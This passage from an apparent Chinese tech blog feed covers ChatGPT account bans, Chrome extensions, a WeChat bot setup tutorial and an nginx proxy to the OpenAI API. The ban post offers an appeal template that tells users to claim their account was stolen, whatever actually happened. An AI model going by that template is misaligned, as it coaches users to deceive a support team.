href="http://mp.weixin.qq.com/s?__biz=MjM5MzgyODQxMQ==&amp;amp;mid=2650379251&amp;amp;idx=1&amp;amp;sn=c7efbfa24064cb3eb88d869e21ecc4ba&amp;amp;chksm=be9c28a789eba1b1fd0efa7fec7dcfb0c063d9fa145766dcfa6e7dbd386bc81caca04971ea77&amp;amp;scene=21#wechat_redirect"&gt;ChatGPT暂停注册&lt;/a&gt;，今天ChatGPT就大面积封号，哀鸿遍野，不管你是不是亚洲地区，不管你是普号还是Plus号，都有被封号的案例。目前还没有一个绝对封号的参考标准&lt;/p&gt;
&lt;p&gt;大家不要随意切IP，据说亚洲区是封号重区，不要多个地方同时登，很容易被判一号多用，不要滥用API KEY，影响平台稳定性。&lt;/p&gt;
&lt;p&gt;另外请遵守平台规范，确保自己发布的内容合规，避免涉及政治、暴力、色情等敏感话题，降低被封禁的风险。&lt;/p&gt;
&lt;p&gt;如果你的号确实非常重要，里面有很重要的信息和数据，而且你认为账号是误封，你可以向平台发起申诉&lt;/p&gt;
&lt;p&gt;申诉的途径是向OpenAI官方发送邮件，邮件地址是 support@openai.com&lt;/p&gt;
&lt;p&gt;申诉的内容主要是表明你这个号非常珍贵，里面有很多数据对你很重要，账号可能被盗用，然后说明你没有干什么坏事，以后也不会干，希望给予解封，以后一定会遵守平台规则...  具体详细内容就看个人发挥了。&lt;/p&gt;
&lt;p&gt;记得一定要用英文来描述，如果发中文可能他们的支持团队压根就不看，因为本来就没对国内开放。&lt;/p&gt;
&lt;p&gt;这里我直接给个英文的参考模板，请不要千篇一律地直接复制&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Subject: Urgent Appeal for Account Unban: Unauthorized Access and Misuse of My ChatGPT Account&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Dear ChatGPT Support Team,&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I hope this email finds you well. My name is [  Your Name  ], and I am writing to appeal for the removal of the ban on my ChatGPT account (username: [  Your Username]  ). I believe that my account has been mistakenly flagged and banned due to suspicious activities, which I suspect were the result of unauthorized access and misuse.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I recently discovered that my account was compromised, and I have reason to believe that it was accessed and misused by someone else without my knowledge or consent. I deeply regret any inconvenience or disruption this may have caused to the ChatGPT community and would like to assure you that I had no part in the activities that led to the ban.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;To resolve this issue and restore my account, I have already taken the necessary steps to secure my account by changing my password and enabling two-factor authentication. I kindly request that you investigate my account to verify my claims and consider lifting the ban.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I have always valued and respected the ChatGPT community guidelines and have strived to maintain a positive and constructive presence. I understand the importance of maintaining a safe and enjoyable environment for all users and sincerely apologize for any trouble this situation may have caused.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Please let me know if there is any additional information or action required from my end to facilitate the investigation and resolution of this issue. I am more than willing to cooperate with any further inquiries you may have&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Thank you for your time and consideration. I eagerly await your response and hope that my account can be reinstated as soon as possible.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Best regard&lt;/em&gt;s,&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[您的称呼]&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[您的账号]&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;[您的电子邮件地址]&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;虽然不一定能找回，至少有一丝希望，因为我有过两次申诉要回微信账号的经历，往往你多去争取一下，平台可能会给你次机会。&lt;/p&gt;
&lt;p&gt;另外推荐一下我的知识星球，这是圈友对星球内容的评价&lt;/p&gt;
&lt;p&gt;&lt;img alt="图片" src="../../images/640-168047860022939.png"&gt;&lt;/p&gt;
&lt;p&gt;现在加入星球继续赠送账号，如果账号3天内不幸被封，还可以有一次换新号的机会。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324013842151" src="../../images/image-20230324013842151.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>5个ChatGPT Chrome 插件，让聊天更爽</title><link href="https://foofish.net/chatgpt-chrome-plugins.html" rel="alternate"/><published>2023-03-31T20:44:01+08:00</published><updated>2023-03-31T20:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-31:/chatgpt-chrome-plugins.html</id><summary type="html">&lt;p&gt;在ChatGPT的官方插件还没正式推出时，市面上已经有诸多的Chrome插件，主要是体验上的增强，来看看有哪些是你喜欢的。&lt;/p&gt;
&lt;h3&gt;1、ChatGPT for Google&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230330221918536" src="../../images/image-20230330221918536.png"&gt;&lt;/p&gt;
&lt;p&gt;这是一个在搜索引擎结果中同时 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在ChatGPT的官方插件还没正式推出时，市面上已经有诸多的Chrome插件，主要是体验上的增强，来看看有哪些是你喜欢的。&lt;/p&gt;
&lt;h3&gt;1、ChatGPT for Google&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230330221918536" src="../../images/image-20230330221918536.png"&gt;&lt;/p&gt;
&lt;p&gt;这是一个在搜索引擎结果中同时显示ChatGPT的回答，平常我们搜索时需要自己一条条自己判断哪条结果是我们想要的，这个插件直接给我们回答。&lt;/p&gt;
&lt;p&gt;例如在Google搜索如何实现”快速排序“，左侧是Google的搜索结果，右侧是插件给我们的答案&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330224400193" src="../../images/image-20230330224400193.png"&gt;&lt;/p&gt;
&lt;h4&gt;2、ChatGPT Writer&lt;/h4&gt;
&lt;p&gt;&lt;img alt="image-20230330222242903" src="../../images/image-20230330222242903.png"&gt;&lt;/p&gt;
&lt;p&gt;ChatGPT Writer 是一个辅助写作工具，比如回复邮件、回复消息，你把别人发你的邮件内容粘贴到输入框，Writer 会让你写一句总结的话，剩下的内容就可以交给Writer去润色打磨，生成完整的回复内容。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330230000149" src="../../images/image-20230330230000149.png"&gt;&lt;/p&gt;
&lt;h3&gt;3、YouTube 视频总结&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230330222325210" src="../../images/image-20230330222325210.png"&gt;&lt;/p&gt;
&lt;p&gt;当你在看YouTube上的视频时，可以用这个插件查看视频每小段的内容终结，提前知道视频里面会讲什么内容。还支持文本内容的复制。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330230512193" src="../../images/image-20230330230512193.png"&gt;&lt;/p&gt;
&lt;h3&gt;4、WebChatGPT&lt;/h3&gt;
&lt;p&gt;&lt;img alt="image-20230330222538007" src="../../images/image-20230330222538007.png"&gt;&lt;/p&gt;
&lt;p&gt;WebChatGPT 是一个可以访问互联网聊天插件，例如我在ChatGPT问今天星期几，ChatGPT其实是不知道的，因为它训练的数据还是2021年的。WebChatGPT可以进行联网查询。 不过等ChatGPT官方插件出来后，这款插件估计不好过。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330231802756" src="../../images/image-20230330231802756.png"&gt;&lt;/p&gt;
&lt;h3&gt;5、chatgpt-gzh&lt;/h3&gt;
&lt;p&gt;严格来说，这不是一个浏览器插件，而是一个基于公众号的chatgpt聊天工具，我们可以在公众号与chatgpt聊天对话，不要使用魔法网络，不要打开网页，直接在微信体系内就可以使用。 Github地址：&lt;a href="https://github.com/lzjun567/chatgpt-gzh"&gt;https://github.com/lzjun567/chatgpt-gzh&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230401004505376" src="../../images/image-20230401004505376.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>如何将ChatGPT接入到微信保姆级教程</title><link href="https://foofish.net/how-to-integrate-chatgpt-to-wechat.html" rel="alternate"/><published>2023-03-30T00:44:01+08:00</published><updated>2023-03-30T00:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-30:/how-to-integrate-chatgpt-to-wechat.html</id><summary type="html">&lt;p&gt;将chatgpt接入微信，首先你需要准备的东西&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个微信小号（别用自己大号，没玩好就没了）&lt;/li&gt;
&lt;li&gt;一台Linux服务器&lt;/li&gt;
&lt;li&gt;一个ChatGPT账号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前两个可自备，应该能轻松搞到，ChatGPT账号可参考我之前的教程 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;将chatgpt接入微信，首先你需要准备的东西&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个微信小号（别用自己大号，没玩好就没了）&lt;/li&gt;
&lt;li&gt;一台Linux服务器&lt;/li&gt;
&lt;li&gt;一个ChatGPT账号&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前两个可自备，应该能轻松搞到，ChatGPT账号可参考我之前的教程，如果不想折腾可私信我或者加入我们星球【ChatGPT研究社】，可免费获取一个独立的ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;
&lt;p&gt;拿到ChatGPT账号后，去OPENAI官网升级一个KEY。打开地址：https://platform.openai.com/ ，登录账号点击右上角头像的View API keys，创建  secret key&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329234548964" src="../../images/image-20230329234548964.png"&gt;&lt;/p&gt;
&lt;p&gt;拿到一台服务器后，先确定服务器的Python版本是3.7以上，然后把项目克隆下来&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git clone https://github.com/zhayujie/chatgpt-on-wechat
cd chatgpt-on-wechat/
pip3 install -r requirements.txt # 安装依赖
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;配置&lt;/h3&gt;
&lt;p&gt;配置文件的模板在根目录的&lt;code&gt;config-template.json&lt;/code&gt;中，需复制该模板创建最终生效的 &lt;code&gt;config.json&lt;/code&gt; 文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; cp config-template.json config.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后在&lt;code&gt;config.json&lt;/code&gt;中填入配置，以下是对默认配置的说明，可根据需要进行自定义修改：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json文件内容示例&lt;/span&gt;
&lt;span class="err"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;open_ai_api_key&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;YOUR API KEY&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;填入上面创建的&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OpenAI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;API&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;KEY&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;model&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;gpt-3.5-turbo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;模型名称&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;&lt;span class="n"&gt;当use_azure_chatgpt为true时&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;其名称为Azure上model&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deployment名称&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;proxy&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;127.0.0.1:7890&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;代理客户端的ip和端口&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;single_chat_prefix&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;&amp;quot;bot&amp;quot;, &amp;quot;@bot&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;私聊时文本需要包含该前缀才能触发机器人回复&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;single_chat_reply_prefix&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;[bot] &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;私聊时自动回复的前缀&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;用于区分真人&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;group_chat_prefix&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;&amp;quot;@bot&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;群聊时包含该前缀则会触发机器人回复&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;group_name_white_list&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;&amp;quot;ChatGPT测试群&amp;quot;, &amp;quot;ChatGPT测试群2&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;开启自动回复的群名称列表&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;group_chat_in_one_session&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;&amp;quot;ChatGPT测试群&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;支持会话上下文共享的群名称&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;image_create_prefix&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;&amp;quot;画&amp;quot;, &amp;quot;看&amp;quot;, &amp;quot;找&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;开启图片回复的前缀&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;conversation_max_tokens&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;支持上下文记忆的最多字符数&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;speech_recognition&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;是否开启语音识别&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;group_speech_recognition&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;是否开启群组语音识别&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;use_azure_chatgpt&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;是否使用Azure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ChatGPT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service代替openai&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ChatGPT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;当设置为true时需要设置&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;open_ai_api_base&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;如&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;xxx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;azure&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;character_desc&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题，并且可以使用多种语言与人交流。&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;人格描述&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;个人聊天中，需要以 "bot"或"@bot" 为开头的内容触发机器人，对应配置项 &lt;code&gt;single_chat_prefix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;机器人回复的内容会以 "[bot] " 作为前缀， 以区分真人，对应的配置项为 &lt;code&gt;single_chat_reply_prefix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;群组聊天中，群名称需配置在 &lt;code&gt;group_name_white_list&lt;/code&gt; 中才能开启群聊自动回复&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;配置完成后就可以运行程序了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3 app.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;终端输出二维码后，使用微信进行扫码，当输出 "Start auto replying" 时表示自动回复程序已经成功运行了。（注意：用于登录的微信需要在支付处已完成实名认证）。扫码登录后你的账号就成为机器人了，可以在微信手机端通过配置的关键词触发自动回复 (任意好友发送消息给你，或是自己发消息给好友)&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329235233122" src="../../images/image-20230329235233122.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230329235300877" src="../../images/image-20230329235300877.png"&gt;&lt;/p&gt;
&lt;p&gt;测试成功后，我们可以使用nohup命令在后台运行程序：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;touch nohup.out                                   # 首次运行需要新建日志文件                     
nohup python3 app.py &amp;amp; tail -f nohup.out          # 在后台运行程序并通过日志输出二维码
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;扫码登录后程序即可运行于服务器后台，此时可通过 &lt;code&gt;ctrl+c&lt;/code&gt; 关闭日志，不会影响后台程序的运行。使用 &lt;code&gt;ps -ef | grep app.py | grep -v grep&lt;/code&gt; 命令可查看运行于后台的进程，如果想要重新启动程序可以先 &lt;code&gt;kill&lt;/code&gt; 掉对应的进程。日志关闭后如果想要再次打开只需输入 &lt;code&gt;tail -f nohup.out&lt;/code&gt;。&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>只需要一个HTML文件，就可以快速开启ChatGPT聊天</title><link href="https://foofish.net/chatgpt-one-page-html.html" rel="alternate"/><published>2023-03-29T17:00:01+08:00</published><updated>2023-03-29T17:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-03-29:/chatgpt-one-page-html.html</id><summary type="html">&lt;p&gt;今天发现一个史上最简单的自建ChatGPT部署方案，只需要一个HTML文件，把它配置到Nginx就能跑起来。&lt;/p&gt;
&lt;p&gt;效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230328211704590" src="../../images/image-20230328211704590.png"&gt;&lt;/p&gt;
&lt;p&gt;他能做什么用？&lt;/p&gt;
&lt;p&gt;平常我们使用chatgpt需要配魔法上网才能登上官方网站，对于很多人来 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今天发现一个史上最简单的自建ChatGPT部署方案，只需要一个HTML文件，把它配置到Nginx就能跑起来。&lt;/p&gt;
&lt;p&gt;效果如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230328211704590" src="../../images/image-20230328211704590.png"&gt;&lt;/p&gt;
&lt;p&gt;他能做什么用？&lt;/p&gt;
&lt;p&gt;平常我们使用chatgpt需要配魔法上网才能登上官方网站，对于很多人来说这是个很棘手的问题，如果你有个海外云服务器，就可以通过这种方式部署一个自己专有的chatgpt，只要指定key，就可以愉快的用上chatgpt了。&lt;/p&gt;
&lt;p&gt;你需要准备啥？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一个能正常访问 api.openai.com 的海外服务器&lt;/li&gt;
&lt;li&gt;一个chatgpt key&lt;/li&gt;
&lt;li&gt;没有了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只要在界面右侧配置好你的chatgpt key 就可以连上chatgpt与机器人聊天，这个key 是怎么来的呢？&lt;/p&gt;
&lt;p&gt;在openai官方登录后访问 https://platform.openai.com/account/api-keys，可以申请key，以sk开头。如果你的账号是从别的渠道购买的，通常也会带一个key&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216160339632" src="../../images/c3ac9cdc6b73414da537d5da662804d6tplv-k3u1fbpfcp-zoom-in-crop-mark1512000.webp"&gt;&lt;/p&gt;
&lt;p&gt;申请完key之后，我们唯一要做的一件事就是配置Nginx，不知道Nginx是什么的同学可自行搜下，简单来讲就是一个提供Web服务的服务器以及反向代理工具，我们只需要把那个html文件配置在nginx，程序就能跑起来了。&lt;/p&gt;
&lt;p&gt;nginx配置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 把这段代码配置到server 模块中&lt;/span&gt;
&lt;span class="k"&gt;gzip&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_min_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1k&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;text/event-stream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;^~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/chatgpt/v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://api.openai.com/v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;api.openai.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_buffering&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/chatgpt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/data/server/chatgpt_gzh/application/templates&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
